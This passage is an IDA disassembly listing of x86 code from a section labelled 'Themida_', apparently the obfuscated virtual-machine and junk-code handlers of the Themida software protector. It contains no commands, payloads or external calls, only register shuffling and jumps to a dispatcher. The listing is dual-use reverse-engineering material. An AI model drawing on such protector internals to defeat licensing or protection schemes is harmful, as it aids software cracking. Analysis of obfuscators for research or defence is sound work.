jmp loc_54E3D9
; ---------------------------------------------------------------------------
loc_54B99D: ; CODE XREF: Themida_:0054B7DCj
mov eax, [esp]
add esp, 4
jmp loc_54DF3A
; ---------------------------------------------------------------------------
loc_54B9A8: ; CODE XREF: Themida_:00545822j
mov ebp, [esp]
add esp, 4
jmp loc_547193
; ---------------------------------------------------------------------------
loc_54B9B3: ; CODE XREF: Themida_:005495AAj
xchg edi, [esp]
jmp loc_549CA6
; ---------------------------------------------------------------------------
loc_54B9BB: ; CODE XREF: Themida_:0054A7D6j
push 75D0h
mov [esp], esi
mov esi, 2AFE2F82h
mov ebx, esi
pop esi
push esi
mov esi, 2AFE2F02h
push edi
mov edi, 224B5AF1h
push edx
jmp loc_54921A
; ---------------------------------------------------------------------------
mov cx, [esp]
push 2406h
jmp loc_5446CE
; ---------------------------------------------------------------------------
loc_54B9EB: ; CODE XREF: Themida_:00548797j
add eax, 4
xchg eax, [esp]
pop esp
add esp, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
jmp loc_547CA8
; ---------------------------------------------------------------------------
loc_54BA08: ; CODE XREF: Themida_:0054EBD3j
neg eax
push edi
mov edi, 4B823090h
inc edi
neg edi
and edi, 1E1176C4h
add edi, 3B05220Eh
sub edi, 63B299Fh
jmp loc_54DBB1
; ---------------------------------------------------------------------------
xor [esp], esi
xor esi, [esp]
xor [esp], esi
not esi
push esi
mov esi, esp
sub esp, 4
jmp loc_54E625
; ---------------------------------------------------------------------------
loc_54BA40: ; CODE XREF: Themida_:0054A891j
add esi, 4
xchg esi, [esp]
pop esp
imul ecx, eax
push ecx
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54BA51: ; CODE XREF: Themida_:00547EE1j
xchg eax, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5440BC
; ---------------------------------------------------------------------------
loc_54BA60: ; CODE XREF: Themida_:0054DF85j
push edx
push edx
jmp loc_544CD5
; ---------------------------------------------------------------------------
loc_54BA67: ; CODE XREF: Themida_:0054E2D2j
push ebx
mov ebx, 20E939E0h
add ebp, ebx
pop ebx
pop esi
add ebp, 2
push 27F7h
mov [esp], ebp
push dword ptr [esp+4]
mov ebp, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
shr dword ptr [esp], cl
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54BA93: ; CODE XREF: Themida_:00548A25j
xchg ebp, [esp]
pop esp
jmp loc_54B834
; ---------------------------------------------------------------------------
loc_54BA9C: ; CODE XREF: Themida_:00547EEDj
mov edx, 3DA72045h
add edx, 3F6B4746h
shl edx, 5
jmp loc_546425
; ---------------------------------------------------------------------------
loc_54BAAF: ; CODE XREF: Themida_:0054A4C4j
xor esi, 0F8F9BFBAh
push ecx
mov ecx, 43AF6457h
not ecx
push ebx
mov ebx, 3ED5233Ah
shr ebx, 2
dec ebx
shl ebx, 2
neg ebx
xor ebx, 0F946FE15h
jmp loc_5494EF
; ---------------------------------------------------------------------------
loc_54BAD7: ; CODE XREF: Themida_:0054C5B3j
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
btc [esp], ax
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54BAF1: ; CODE XREF: Themida_:00547E4Bj
push eax
mov eax, 50D13929h
shr eax, 8
push ecx
mov ecx, 47800566h
add ecx, 42B92624h
push eax
mov eax, 2A721CDFh
or ecx, eax
pop eax
shl ecx, 3
xor ecx, 0E7F93E09h
sub eax, ecx
mov ecx, [esp]
jmp loc_54D1DD
; ---------------------------------------------------------------------------
loc_54BB22: ; CODE XREF: Themida_:005498E4j
push ecx
mov ecx, 4
sub ebp, 110F73F3h
jmp loc_54A7E1
; ---------------------------------------------------------------------------
loc_54BB33: ; CODE XREF: Themida_:0054765Bj
sub al, 7Eh
push dword ptr [esp]
pop edx
sub esp, 4
jmp loc_5442A1
; ---------------------------------------------------------------------------
loc_54BB44: ; CODE XREF: Themida_:0054C7F7j
mov [esp], ecx
mov ecx, 2E227EC5h
sub eax, 7B154BEAh
sub eax, ecx
jmp loc_546883
; ---------------------------------------------------------------------------
lodsb
jmp loc_549557
; ---------------------------------------------------------------------------
loc_54BB5E: ; CODE XREF: Themida_:005473E4j
push edx
mov edx, 2
push edi
mov edi, edx
mov eax, edi
pop edi
pop edx
sub edx, 38306176h
jmp loc_549FD1
; ---------------------------------------------------------------------------
loc_54BB76: ; CODE XREF: Themida_:0054DF4Dj
sub ebx, 24E1001h
jmp loc_54A37A
; ---------------------------------------------------------------------------
loc_54BB81: ; CODE XREF: Themida_:0054BC96j
add ebx, 63F325CFh
or ebx, 5E0358CCh
xor ebx, 721F40BEh
push eax
mov eax, 2C202E6Ah
jmp loc_54ED9B
; ---------------------------------------------------------------------------
loc_54BB9E: ; CODE XREF: Themida_:0054749Cj
mov [esp], edi
mov edi, 14AB4B99h
xor edi, 39A4160Ah
jmp loc_54DD0D
; ---------------------------------------------------------------------------
loc_54BBB1: ; CODE XREF: Themida_:00546559j
mov ebp, 24F467D6h
shl ebp, 5
xor ebp, 0B2AA6D17h
add esi, ebp
pop ebp
sub eax, esi
pop esi
jmp loc_549A31
; ---------------------------------------------------------------------------
loc_54BBCA: ; CODE XREF: Themida_:0054CB7Aj
add ebp, ecx
mov ecx, [esp]
add esp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
jmp loc_55000E
; ---------------------------------------------------------------------------
loc_54BBE3: ; CODE XREF: Themida_:0054C56Bj
and esi, 1BF85441h
shl esi, 1
jmp loc_54DA40
; ---------------------------------------------------------------------------
loc_54BBF0: ; CODE XREF: Themida_:00549759j
inc ebp
jmp loc_5459CC
; ---------------------------------------------------------------------------
loc_54BBF6: ; CODE XREF: Themida_:00549C40j
push dword ptr [esp]
pop ecx
push edi
mov edi, esp
push ebx
push 5D6E0E1Bh
pop ebx
inc ebx
jmp loc_54D742
; ---------------------------------------------------------------------------
loc_54BC0A: ; CODE XREF: Themida_:0054E187j
xor [esp], edx
xor edx, [esp]
pop esp
mov [esp], ebx
jmp loc_548E09
; ---------------------------------------------------------------------------
push dword ptr [edi+3Ch]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
jmp loc_54A896
; ---------------------------------------------------------------------------
loc_54BC33: ; CODE XREF: Themida_:0054DDC4j
xchg esi, [esp]
mov esp, [esp]
mul ecx
push eax
push esp
mov eax, [esp]
add esp, 4
add eax, 4
push edi
push ebx
push ecx
mov ecx, 71597598h
mov ebx, ecx
pop ecx
push eax
push edx
mov edx, 4B8331B0h
shl edx, 1
inc edx
shr edx, 4
or edx, 447D2952h
xor edx, 5CCA29ABh
sub edx, 0D9E9F3D8h
mov eax, edx
pop edx
mov edi, 19B81CDDh
xor edi, eax
jmp loc_544608
; ---------------------------------------------------------------------------
loc_54BC81: ; CODE XREF: Themida_:005449D3j
push ebx
mov ebx, 79D6397Ch
not ebx
or ebx, 1CF65E37h
inc ebx
add ebx, 83F84BD4h
jmp loc_54BB81
; ---------------------------------------------------------------------------
loc_54BC9B: ; CODE XREF: Themida_:0054E102j
xchg eax, [esp]
pop esp
mov [esp], edi
mov edi, 7A7D2548h
jmp loc_5485B1
; ---------------------------------------------------------------------------
loc_54BCAC: ; CODE XREF: Themida_:005465D5j
add eax, edx
pop edx
sub eax, 4
sub esp, 4
mov [esp], eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov esp, [esp]
jmp loc_54E29F
; ---------------------------------------------------------------------------
loc_54BCCD: ; CODE XREF: Themida_:0054E18Dj
and eax, edi
push dword ptr [esp]
jmp loc_54D03C
; ---------------------------------------------------------------------------
loc_54BCD7: ; CODE XREF: Themida_:00547073j
mov esi, 5A9B0C57h
mov ecx, 5A9B0C53h
xor ecx, esi
pop esi
add esi, ecx
mov ecx, [esp]
add esp, 4
jmp loc_54568D
; ---------------------------------------------------------------------------
loc_54BCF1: ; CODE XREF: Themida_:0054402Ej
xchg ebp, [esp]
pop esp
add edi, 4
xchg edi, [esp]
mov esp, [esp]
push 5A72h
mov [esp], eax
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54BD0B: ; CODE XREF: Themida_:00548B8Ej
mov dx, 3505h
add dx, 17C1h
sub dx, 5138h
sub bp, dx
pop edx
jmp loc_547660
; ---------------------------------------------------------------------------
loc_54BD22: ; CODE XREF: Themida_:00544E8Cj
and ebx, edx
pop edx
shl ebx, 6
sub ebx, 30EB1AF9h
sub eax, ebx
push dword ptr [esp]
pop ebx
add esp, 4
push esi
mov esi, 5702F13h
add ebx, esi
pop esi
jmp loc_544B5F
; ---------------------------------------------------------------------------
loc_54BD45: ; CODE XREF: Themida_:0054672Cj
sub esp, 4
jmp loc_54C866
; ---------------------------------------------------------------------------
loc_54BD4D: ; CODE XREF: Themida_:0054488Aj
push ebx
mov ebx, 4
add edx, ebx
jmp loc_54D1FA
; ---------------------------------------------------------------------------
loc_54BD5A: ; CODE XREF: Themida_:0054734Cj
add esp, 4
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54BD65: ; CODE XREF: Themida_:0054F489j
push 191Bh
mov [esp], ebx
push 4
pop ebx
add edx, ebx
mov ebx, [esp]
jmp loc_54E5B7
; ---------------------------------------------------------------------------
loc_54BD7D: ; CODE XREF: Themida_:00546EC2j
add esp, 4
xor ebx, edi
xor edi, ebx
xor ebx, edi
not edi
xchg edi, ebx
jmp loc_545921
; ---------------------------------------------------------------------------
loc_54BD8F: ; CODE XREF: Themida_:00546274j
pop edi
jmp loc_548FA8
; ---------------------------------------------------------------------------
loc_54BD95: ; CODE XREF: Themida_:0054D9C9j
add eax, edi
pop edi
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ebx
push ecx
mov ecx, 14C22F0h
dec ecx
not ecx
jmp loc_547D59
; ---------------------------------------------------------------------------
loc_54BDB9: ; CODE XREF: Themida_:0054B8E0j
mov esi, 4B432D90h
shr esi, 7
dec esi
jmp loc_54D10E
; ---------------------------------------------------------------------------
loc_54BDC7: ; CODE XREF: Themida_:0054704Ej
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
mov [esp], dx
push ax
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54BDDF: ; CODE XREF: Themida_:0054B0E6j
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_54E2D7
; ---------------------------------------------------------------------------
loc_54BDEB: ; CODE XREF: Themida_:00546664j
mov [esp], edi
mov edi, 301100AFh
xor eax, edi
pop edi
sub esp, 4
mov [esp], edi
jmp loc_54C785
; ---------------------------------------------------------------------------
loc_54BE04: ; CODE XREF: Themida_:0054763Dj
pop edx
push edx
mov dh, 0A3h
add al, 7
sub al, dh
push ecx
mov cl, 0ECh
and cl, 0B4h
shr cl, 1
jmp loc_545714
; ---------------------------------------------------------------------------
loc_54BE19: ; CODE XREF: Themida_:005461DEj
push dword ptr [esp]
jmp loc_546F73
; ---------------------------------------------------------------------------
loc_54BE21: ; CODE XREF: Themida_:0054BE4Fj
add ecx, ebp
pop ebp
sub ecx, 2141E61h
shl ecx, 4
push esi
push edi
jmp loc_548F9D
; ---------------------------------------------------------------------------
loc_54BE34: ; CODE XREF: Themida_:00547E70j
xor ebp, 2F5F282Dh
add ebp, 4EF41036h
sub ebp, 401059AFh
shr ebp, 5
sub ebp, 0EF2EA0FCh
jmp loc_54BE21
; ---------------------------------------------------------------------------
loc_54BE54: ; CODE XREF: Themida_:0054C9E7j
add eax, ebx
push ebx
jmp loc_54AB2B
; ---------------------------------------------------------------------------
lodsd
push ebx
push esi
mov esi, 0F094CD9h
push esi
not dword ptr [esp]
jmp loc_54C68C
; ---------------------------------------------------------------------------
loc_54BE6D: ; CODE XREF: Themida_:0054EEC7j
sub esp, 4
mov [esp], esp
push ecx
mov ecx, 4
add [esp+4], ecx
pop ecx
mov esi, [esp]
add esp, 4
add esi, 4
push ebp
sub esp, 4
mov [esp], eax
mov eax, 82F4C3Ah
mov ebp, 219889EDh
sub ebp, eax
pop eax
xor ebp, 3C10191Ah
or ebp, 2B213D53h
neg ebp
shr ebp, 2
add ebp, 0CBDE4F83h
add esi, ebp
pop ebp
jmp loc_54FE03
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl byte ptr [esp], cl
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54BECF: ; CODE XREF: Themida_:005465EAj
xor eax, 433F7BC6h
xor eax, 787743F2h
jmp loc_546A0F
; ---------------------------------------------------------------------------
loc_54BEDE: ; CODE XREF: Themida_:0054F326j
push eax
jmp loc_54D358
; ---------------------------------------------------------------------------
loc_54BEE4: ; CODE XREF: Themida_:0054EE20j
shr ecx, 8
jmp loc_54DD9D
; ---------------------------------------------------------------------------
loc_54BEEC: ; CODE XREF: Themida_:0054F194j
xor eax, ecx
xor ecx, eax
xor eax, ecx
jmp loc_54ADD1
; ---------------------------------------------------------------------------
loc_54BEF7: ; CODE XREF: Themida_:0054B45Fj
push ebx
push esp
jmp loc_54D40A
; ---------------------------------------------------------------------------
loc_54BEFE: ; CODE XREF: Themida_:0054EC9Cj
push esi
push 614C4238h
pop esi
xor esi, 53F23CBAh
add esi, 207EEDCCh
push esi
add dword ptr [esp], 7DCF193Eh
pop edi
jmp loc_5489C4
; ---------------------------------------------------------------------------
loc_54BF1F: ; CODE XREF: Themida_:0054D966j
mov esp, [esp]
jmp loc_547F58
; ---------------------------------------------------------------------------
loc_54BF27: ; CODE XREF: Themida_:0054F3F7j
xchg edx, [esp]
jmp loc_544EB7
; ---------------------------------------------------------------------------
loc_54BF2F: ; CODE XREF: Themida_:005458ABj
push ecx
jmp loc_54861C
; ---------------------------------------------------------------------------
loc_54BF35: ; CODE XREF: Themida_:0054CD70j
shl edx, 1
push 1879h
mov [esp], ecx
push 0FFFFFFFFh
jmp loc_54A131
; ---------------------------------------------------------------------------
loc_54BF49: ; CODE XREF: Themida_:00550081j
push edi
push esi
mov esi, 6073326h
mov edi, esi
pop esi
neg edi
push ebp
mov ebp, 30C040B2h
sub edi, ebp
pop ebp
sub edi, 4E113146h
sub edi, 431190DAh
jmp loc_54D3A6
; ---------------------------------------------------------------------------
loc_54BF6F: ; CODE XREF: Themida_:005455CAj
mov edx, [esp]
add esp, 4
not ebp
shl ebp, 5
jmp loc_5472A9
; ---------------------------------------------------------------------------
loc_54BF7F: ; CODE XREF: Themida_:0054B218j
mov edi, edx
pop edx
push ecx
mov ecx, 5BE3407h
jmp loc_5455AC
; ---------------------------------------------------------------------------
loc_54BF8D: ; CODE XREF: Themida_:005460C5j
push ebp
push esp
jmp loc_5448FD
; ---------------------------------------------------------------------------
loc_54BF94: ; CODE XREF: Themida_:0054CDFDj
push 4F58h
jmp loc_545202
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54BFA6: ; CODE XREF: Themida_:0054DB12j
mov [esp], ebp
jmp loc_544C54
; ---------------------------------------------------------------------------
loc_54BFAE: ; CODE XREF: Themida_:005475F8j
pop edx
add esp, 4
add ebp, ebx
pop ebx
xchg ebp, [esp]
pop esp
mul cl
movzx cx, ah
push small 62D3h
jmp loc_5441DF
; ---------------------------------------------------------------------------
loc_54BFCB: ; CODE XREF: Themida_:0054DCF0j
mov edi, [esp]
add esp, 4
add ebx, 4
jmp loc_546336
; ---------------------------------------------------------------------------
loc_54BFDC: ; CODE XREF: Themida_:00546970j
push edi
push esi
mov esi, 352B373Ah
jmp loc_545AD9
; ---------------------------------------------------------------------------
loc_54BFE8: ; CODE XREF: Themida_:00548075j
and eax, 33E62524h
dec eax
jmp loc_548C47
; ---------------------------------------------------------------------------
loc_54BFF3: ; CODE XREF: Themida_:00547D8Cj
add esp, 4
push edx
push edi
mov edi, 4B5D66F1h
not edi
shl edi, 7
and edi, 378317D8h
shr edi, 5
add edi, 6771526Ah
jmp loc_549C50
; ---------------------------------------------------------------------------
loc_54C019: ; CODE XREF: Themida_:0054A039j
push esi
mov esi, 68322C65h
xor esi, 234E74C8h
push edx
mov edx, 4798029Dh
inc edx
shr edx, 3
and edx, 511C0B0Ch
sub edx, 983BAD9Ah
and esi, edx
pop edx
sub esi, 43545025h
sub edi, esi
pop esi
push 7631h
mov [esp], ebp
mov ebp, 81E0EA4Ch
add edi, ebp
pop ebp
add ebx, edi
pop edi
push esi
mov esi, 2
add ebx, esi
pop esi
xor ebx, [esp]
jmp loc_54F3D1
; ---------------------------------------------------------------------------
loc_54C06B: ; CODE XREF: Themida_:0054EBEBj
mov ebp, [esp]
add esp, 4
push 7853h
mov [esp], ecx
mov ecx, 2
add ebx, ecx
pop ecx
xchg ebx, [esp]
mov esp, [esp]
imul cx, ax
push cx
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54C093: ; CODE XREF: Themida_:005443ACj
push dword ptr [esp]
jmp loc_546782
; ---------------------------------------------------------------------------
loc_54C09B: ; CODE XREF: Themida_:0054794Bj
mov ebp, [esp]
add esp, 4
jmp loc_54E2C4
; ---------------------------------------------------------------------------
loc_54C0A9: ; CODE XREF: Themida_:00544E97j
pop ebx
add esp, 4
sub esp, 4
mov [esp], esi
mov esi, 687F2DDAh
shr esi, 8
add esi, 2198186Dh
add esi, 25685B1Ch
dec esi
add esi, 0D0F4158Dh
push ecx
mov ecx, 7DA7773Ah
push ebx
jmp loc_549D64
; ---------------------------------------------------------------------------
loc_54C0DD: ; CODE XREF: Themida_:0054A4F4j
pop edi
xchg eax, [esp]
mov esp, [esp]
rep movsd
add esp, [edx+38h]
jmp loc_54F8C8
; ---------------------------------------------------------------------------
loc_54C0EE: ; CODE XREF: Themida_:00547851j
xor esi, [esp]
mov esp, [esp]
mov fs:[edx], al
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54C0FC: ; CODE XREF: Themida_:0054AA56j
pop ecx
jmp loc_54E44C
; ---------------------------------------------------------------------------
loc_54C102: ; CODE XREF: Themida_:0054D51Dj
sub al, 0FFh
jmp loc_5463DD
; ---------------------------------------------------------------------------
loc_54C109: ; CODE XREF: Themida_:0054CDF5j
mov esp, [esp]
push ebx
jmp loc_54F32B
; ---------------------------------------------------------------------------
loc_54C112: ; CODE XREF: Themida_:0054EF96j
mov ecx, 0AF7EB466h
sub esi, 4CE1254Eh
sub esi, ecx
add esi, 4CE1254Eh
pop ecx
add edi, esi
push dword ptr [esp]
mov esi, [esp]
jmp loc_54B45C
; ---------------------------------------------------------------------------
mov ax, [esp]
push 5D91h
jmp loc_54D6C9
; ---------------------------------------------------------------------------
loc_54C141: ; CODE XREF: Themida_:0054984Ej
add edi, edx
pop edx
add edi, 4
xchg edi, [esp]
jmp loc_548370
; ---------------------------------------------------------------------------
mov ax, [esp]
push 380Bh
mov [esp], eax
push esi
push esp
pop esi
add esi, 4
jmp loc_544B42
; ---------------------------------------------------------------------------
loc_54C169: ; CODE XREF: Themida_:00549ABDj
xchg ebp, [esp]
mov esp, [esp]
shr byte ptr [esp], cl
pushf
jmp loc_54C6B1
; ---------------------------------------------------------------------------
loc_54C178: ; CODE XREF: Themida_:00545722j
mov ebp, 78DE64F5h
add ebx, ebp
pop ebp
add ebx, 770C7562h
add ebx, esi
sub ebx, 770C7562h
sub ebx, 78DE64F5h
mov esi, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_54A678
; ---------------------------------------------------------------------------
loc_54C1AC: ; CODE XREF: Themida_:0054761Aj
add esp, 4
push eax
mov eax, esp
jmp loc_546CC8
; ---------------------------------------------------------------------------
loc_54C1B7: ; CODE XREF: Themida_:0054B6BAj
sub ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_54CE54
; ---------------------------------------------------------------------------
loc_54C1C3: ; CODE XREF: Themida_:00547BB8j
pop esp
push dword ptr [eax]
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54C1CB: ; CODE XREF: Themida_:0054EEF1j
pop dword ptr [esp]
pop esp
sub esp, 4
mov [esp], edi
jmp loc_548A3A
; ---------------------------------------------------------------------------
loc_54C1DD: ; CODE XREF: Themida_:0054575Cj
push esp
pop ebp
push edx
mov edx, 4
add ebp, 50855D33h
sub ebp, 7A723D36h
sub ebp, 61941455h
jmp loc_545123
; ---------------------------------------------------------------------------
loc_54C1FC: ; CODE XREF: Themida_:0054FC0Ej
mov ebx, 4EDB11A1h
add ebx, 6B2C1B92h
sub ebx, 0BA072D2Fh
add esi, ebx
pop ebx
xchg esi, [esp]
pop esp
xchg eax, [esp]
jmp loc_546981
; ---------------------------------------------------------------------------
loc_54C21C: ; CODE XREF: Themida_:00546828j
mov edi, [esp]
add esp, 4
or eax, eax
jz loc_5480B7
push dword ptr [edi+1Ch]
jmp loc_54CDFA
; ---------------------------------------------------------------------------
loc_54C235: ; CODE XREF: Themida_:00547204j
pop edx
sub eax, 4
xchg eax, [esp]
mov esp, [esp]
mov [esp], ebx
push ecx
mov ecx, 473363EDh
sub [esp+4], ecx
pop ecx
pop eax
add eax, 473363EDh
push ebx
mov ebx, esp
jmp loc_546C0B
; ---------------------------------------------------------------------------
loc_54C25B: ; CODE XREF: Themida_:00549D85j
pop ecx
sub ebx, ebp
pop ebp
mov esi, [esp]
jmp loc_5494C3
; ---------------------------------------------------------------------------
loc_54C267: ; CODE XREF: Themida_:0054CA99j
add ebx, 4
push ecx
mov ecx, 4
add ebx, ecx
pop ecx
jmp loc_54E8D1
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54C282: ; CODE XREF: Themida_:00547DE6j
mov dl, bl
mov al, dl
pop edx
pop ebx
mov bh, al
pop eax
mov dl, [esp+4]
jmp loc_54DB64
; ---------------------------------------------------------------------------
loc_54C294: ; CODE XREF: Themida_:0054A085j
mov [esp], eax
mov eax, 4
sub edx, eax
pop eax
xchg edx, [esp]
pop esp
mov [esp], ebx
push edx
push edi
mov edi, 24D164A8h
add edi, 4AC91428h
xor edi, 55BF5AC7h
jmp loc_54798A
; ---------------------------------------------------------------------------
mov ax, [esp]
push 2554h
mov [esp], edx
push esp
pop edx
add edx, 4
push ebx
mov ebx, 35460885h
push edi
mov edi, 553C128Ch
shr edi, 8
xor edi, 2B7A2B65h
jmp loc_544CC3
; ---------------------------------------------------------------------------
loc_54C2EC: ; CODE XREF: Themida_:0054B780j
mov ecx, [esp]
jmp loc_547E48
; ---------------------------------------------------------------------------
loc_54C2F4: ; CODE XREF: Themida_:005470B0j
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push 2233h
mov [esp], eax
mov eax, esp
push ecx
mov ecx, 4
add eax, ecx
jmp loc_54A16D
; ---------------------------------------------------------------------------
loc_54C314: ; CODE XREF: Themida_:0054DF94j
sub esi, 0C3C5E83h
xor esi, 7710CE8Ah
sub eax, esi
pop esi
add eax, ebx
jmp loc_544630
; ---------------------------------------------------------------------------
loc_54C32A: ; CODE XREF: Themida_:0054DB08j
pop esi
xchg ebp, [esp]
pop esp
sub esp, 4
mov [esp], ecx
push 2F63h
jmp loc_54F0AF
; ---------------------------------------------------------------------------
loc_54C33F: ; CODE XREF: Themida_:0054F36Cj
push dword ptr [esp+4]
jmp loc_548BEB
; ---------------------------------------------------------------------------
loc_54C348: ; CODE XREF: Themida_:0054A9B2j
add esp, 2
push 4809h
mov [esp], edx
sub esp, 4
jmp loc_54F476
; ---------------------------------------------------------------------------
loc_54C35B: ; CODE XREF: Themida_:00547CE3j
xchg edx, [esp]
pop esp
mov [esp], eax
mov eax, 6E3A793Fh
add eax, 0B8A21AFh
shr eax, 5
push eax
not dword ptr [esp]
pop eax
add eax, 26515E1Bh
jmp loc_54CFFF
; ---------------------------------------------------------------------------
loc_54C37E: ; CODE XREF: Themida_:00547A93j
push ecx
jmp loc_546C49
; ---------------------------------------------------------------------------
loc_54C384: ; CODE XREF: Themida_:00544431j
sub ch, bh
add ch, 10h
pop bx
push 52D4h
mov [esp], ebx
jmp loc_549F6E
; ---------------------------------------------------------------------------
loc_54C398: ; CODE XREF: Themida_:0054541Aj
sub esp, 4
mov [esp], ecx
jmp loc_54AE69
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_54EAB8
loc_54C3A3: ; CODE XREF: sub_54EAB8-4B7Aj
shr dl, 5
jmp loc_54F2A9
; END OF FUNCTION CHUNK FOR sub_54EAB8
; ---------------------------------------------------------------------------
loc_54C3AB: ; CODE XREF: Themida_:0054D1BEj
pop esp
mov [esp], ebx
push esp
jmp loc_546B41
; ---------------------------------------------------------------------------
loc_54C3B5: ; CODE XREF: Themida_:00548ABFj
mov [esp], esi
mov esi, 3A506914h
neg esi
sub esi, 7A913D65h
push ebp
mov ebp, 498E38FEh
sub esi, 1A40471Fh
sub esi, ebp
add esi, 1A40471Fh
mov ebp, [esp]
add esp, 4
shr esi, 6
jmp loc_5468E9
; ---------------------------------------------------------------------------
loc_54C3E7: ; CODE XREF: Themida_:00547985j
shr edx, 2
push esi
jmp loc_54D162
; ---------------------------------------------------------------------------
loc_54C3F0: ; CODE XREF: Themida_:00545F17j
mov edi, 13CE42A7h
jmp loc_544C3D
; ---------------------------------------------------------------------------
loc_54C3FA: ; CODE XREF: Themida_:0054F8C3j
add [esp+4], ebp
add dword ptr [esp+4], 61777AB1h
pop ebp
mov esi, [esp]
jmp loc_549795
; ---------------------------------------------------------------------------
loc_54C40F: ; CODE XREF: Themida_:0054F564j
push esp
pop eax
push edx
mov edx, 4
sub eax, 23E57555h
jmp loc_54CBD4
; ---------------------------------------------------------------------------
loc_54C421: ; CODE XREF: Themida_:0054B53Dj
pop cx
add dl, 0E9h
shl dl, 2
shl dl, 4
jmp loc_545681
; ---------------------------------------------------------------------------
loc_54C431: ; CODE XREF: Themida_:00548F46j
pop eax
push eax
mov eax, 0FFFFFFFFh
sub ebp, eax
pop eax
sub ebp, 76A037F7h
and ebp, 3DC457A0h
xor ebp, 8804424h
add edx, ebp
pop ebp
add edx, 2
push edx
jmp loc_54EC34
; ---------------------------------------------------------------------------
loc_54C45C: ; CODE XREF: Themida_:00544394j
push edx
mov edx, 6F706140h
sub ebp, edx
pop edx
shr ebp, 3
sub ebp, 0FD3524C5h
sub ebx, ebp
pop ebp
push ecx
jmp loc_54AAFA
; ---------------------------------------------------------------------------
loc_54C477: ; CODE XREF: Themida_:0054B67Aj
push ecx
mov ecx, 52365A0h
jmp loc_548780
; ---------------------------------------------------------------------------
loc_54C482: ; CODE XREF: Themida_:0054C79Cj
push edx
mov edx, 558955E6h
xor edx, 343468EFh
add edx, 16DB115Bh
xor edx, 4D765A88h
jmp loc_54F454
; ---------------------------------------------------------------------------
loc_54C49F: ; CODE XREF: Themida_:0054A0D2j
mov [esp], ecx
push esp
pop ecx
jmp loc_54711A
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
jmp loc_54622A
; ---------------------------------------------------------------------------
loc_54C4B1: ; CODE XREF: Themida_:005451B9j
push 7EECh
mov [esp], edi
sub esp, 4
mov [esp], esp
jmp loc_5484FB
; ---------------------------------------------------------------------------
loc_54C4C4: ; CODE XREF: Themida_:0054A534j
pop ebp
sub ebp, 50E45217h
pop ecx
jmp loc_547209
; ---------------------------------------------------------------------------
loc_54C4D1: ; CODE XREF: Themida_:00545446j
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
push edx
mov edx, esp
jmp loc_54CED2
; ---------------------------------------------------------------------------
loc_54C4E3: ; CODE XREF: Themida_:005447A2j
push dword ptr [esp]
pop edi
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
push ebp
push dword ptr [esp+4]
mov ebp, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
jmp loc_54F392
; ---------------------------------------------------------------------------
loc_54C507: ; CODE XREF: Themida_:00546D97j
add eax, 15805D11h
shr eax, 5
xor eax, 463F498h
add edi, eax
pop eax
sub edi, 4
xchg edi, [esp]
mov esp, [esp]
mov [esp], ebx
push edi
push 5D1218D2h
pop edi
shl edi, 6
sub edi, 1902BE16h
jmp loc_547B2D
; ---------------------------------------------------------------------------
loc_54C538: ; CODE XREF: Themida_:005461B1j
mov dl, bh
pop ebx
push eax
mov al, dl
mov bl, al
pop eax
pop edx
mov ch, bl
jmp loc_54B6FB
; ---------------------------------------------------------------------------
loc_54C549: ; CODE XREF: Themida_:005456A9j
pop ebp
xchg ecx, [esp]
mov esp, [esp]
test cl, al
pushf
jmp loc_54EECC
; ---------------------------------------------------------------------------
loc_54C558: ; CODE XREF: Themida_:00548BE6j
or eax, 735F1368h
push 2DAEh
mov [esp], ebp
push esi
mov esi, 5B0664A9h
jmp loc_54BBE3
; ---------------------------------------------------------------------------
loc_54C570: ; CODE XREF: Themida_:005440D7j
push dword ptr [esp]
pop ecx
add esp, 4
add ecx, 4
add ecx, 2
push ecx
push dword ptr [esp+4]
jmp loc_54574A
; ---------------------------------------------------------------------------
loc_54C590: ; CODE XREF: Themida_:0054F212j
pop ebp
jmp loc_54B609
; ---------------------------------------------------------------------------
loc_54C596: ; CODE XREF: Themida_:00544409j
push 2DC9h
mov [esp], edi
mov edi, 2
add eax, edi
mov edi, [esp]
add esp, 4
push eax
push dword ptr [esp+4]
jmp loc_54BAD7
; ---------------------------------------------------------------------------
loc_54C5B8: ; CODE XREF: Themida_:0054C8C0j
sub ebp, 133357FAh
sub ebp, 6F3F79B7h
inc ebp
jmp loc_547D27
; ---------------------------------------------------------------------------
loc_54C5CA: ; CODE XREF: Themida_:0054FC53j
add esp, 4
add edx, ebx
add edx, 44716349h
pop ebx
sub esp, 4
mov [esp], edi
mov edi, 3A4171DAh
jmp loc_54FF51
; ---------------------------------------------------------------------------
